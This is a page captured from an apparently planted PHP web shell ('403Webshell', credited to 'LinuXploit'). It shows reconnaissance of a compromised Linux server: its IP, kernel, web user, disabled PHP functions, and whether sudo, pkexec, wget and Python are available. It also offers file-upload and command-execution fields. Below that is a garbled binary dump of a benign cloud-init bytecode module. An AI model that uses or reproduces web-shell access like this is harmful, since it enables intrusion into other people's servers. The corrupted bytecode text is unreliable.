403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/cloudinit/config/cc_apt_pipelining.pyo
�
oB�]c@sZdZddlmZddlmZeZddgZdZdZd�Z	d	�Z
d
S(s�
Apt Pipelining
--------------
**Summary:** configure apt pipelining

This module configures apt's ``Acquite::http::Pipeline-Depth`` option, whcih
controls how apt handles HTTP pipelining. It may be useful for pipelining to be
disabled, because some web servers, such as S3 do not pipeline properly (LP:
#948461). The ``apt_pipelining`` config key may be set to ``false`` to disable
pipelining altogether. This is the default behavior. If it is set to ``none``,
``unchanged``, or ``os``, no change will be made to apt configuration and the
default setting for the distro will be used. The pipeline depth can also be
manually specified by setting ``apt_pipelining`` to a number. However, this is
not recommended.

**Internal name:** ``cc_apt_pipelining``

**Module frequency:** per instance

**Supported distros:** ubuntu, debian

**Config keys**::
    apt_pipelining: <false/none/unchanged/os/number>
i����(tPER_INSTANCE(tutiltubuntutdebians+/etc/apt/apt.conf.d/90cloud-init-pipeliningsQ//Written by cloud-init per 'apt_pipelining'
Acquire::http::Pipeline-Depth "%s";
cCs�tj|dd�}t|�j�j�}|dkrLtd|t�na|d
kr\dS|gtdd�D]}t|�^qokr�t||t�n|jd	|�dS(Ntapt_pipeliningtostfalset0tnonet	unchangediis%Invalid option for apt_pipelining: %s(RR	sos(	Rtget_cfg_option_strtstrtlowertstriptwrite_apt_snippettDEFAULT_FILEtrangetwarning(t_nametcfgt_cloudtlogt_argstapt_pipe_valuetapt_pipe_value_stb((sF/usr/lib/python2.7/site-packages/cloudinit/config/cc_apt_pipelining.pythandle2s.cCs1t|}tj||�|jd||�dS(s0Writes f_name with apt pipeline depth 'setting'.s+Wrote %s with apt pipeline depth setting %sN(tAPT_PIPE_TPLRt
write_filetdebug(tsettingRtf_namet
file_contents((sF/usr/lib/python2.7/site-packages/cloudinit/config/cc_apt_pipelining.pyRAs
N(t__doc__tcloudinit.settingsRt	cloudinitRt	frequencytdistrosRRRR(((sF/usr/lib/python2.7/site-packages/cloudinit/config/cc_apt_pipelining.pyt<module>s		

Youez - 2016 - github.com/yon3zu
LinuXploit